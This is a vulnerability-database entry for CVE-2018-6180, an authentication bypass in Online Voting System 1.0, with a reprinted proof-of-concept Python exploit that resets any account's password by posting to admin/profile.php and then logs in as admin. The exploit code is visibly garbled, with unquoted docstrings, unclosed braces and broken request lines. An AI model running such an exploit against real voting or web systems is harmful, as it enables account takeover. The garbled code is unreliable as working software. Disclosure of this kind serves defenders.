Online Voting System 安全漏洞

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漏洞ID 1124754 漏洞类型 授权问题
发布时间 2018-02-05 更新时间 2019-10-23
CVE编号 CVE-2018-6180 CNNVD-ID CNNVD-201802-240
漏洞平台 PHP CVSS评分 5.0
Online Voting System是一套在线投票系统。 Online Voting System 1.0版本的profile section中存在安全漏洞。攻击者可利用该漏洞设置其他账户密码。
# Exploit Title: Online Voting System - Authentication Bypass
# Date: 02.02.2018
# Vendor Homepage:
# Software Link:
# Demo: http://localhost/Onlinevoting
# Version: 1.0
# Category: Webapps
# Exploit Author: Giulio Comi
# CVE : CVE-2018-6180


A flaw in the profile section of Online Voting System allows an unauthenticated user to set an arbitrary password for accounts registered in the application.

The application does not check the validity of the session cookie and updates the password and other fields of a user based on an incremental identifier and without requiring the current valid password for target account.

# Proof of Concept:

#!/usr/bin/env python
import requests
from time import sleep
from lxml import html

def own(auth_bypass_request):
    Reset the password of a user just knowing his id
    url_edit_password = "admin/profile.php"

    payload = {
               'id': 1,
               'admin': 'admin',  # overwrite the username of the victim
               'password': "ARBITRARY_PASSWORD", # overwrite the password of the victim
               'edit': ''

    response = + url_edit_password, data=payload)

    # Parse response to check if the request was successful
    check_result = html.fromstring(response).xpath('//div[@class="alert alert-success"]//p//strong/text()')

    return(lambda: False, lambda: True)[str(check_result).find('Successfully') > -1]()

def login(login_request):
    Enjoy the new password chosen for the victim
    credentials = {'username': 'admin',
                   'password': "ARBITRARY_PASSWORD",
                   'usertype': 'admin',
                   'login': ''

    response =, data=credentials)


if __name__ == "__main__":

    target_site = "http://localhost/Onlinevoting/"
    request = requests.Session()
    if own(request):
        sleep(4)  # just a bit of delay
        print('Maybe the given id is not registered in the application')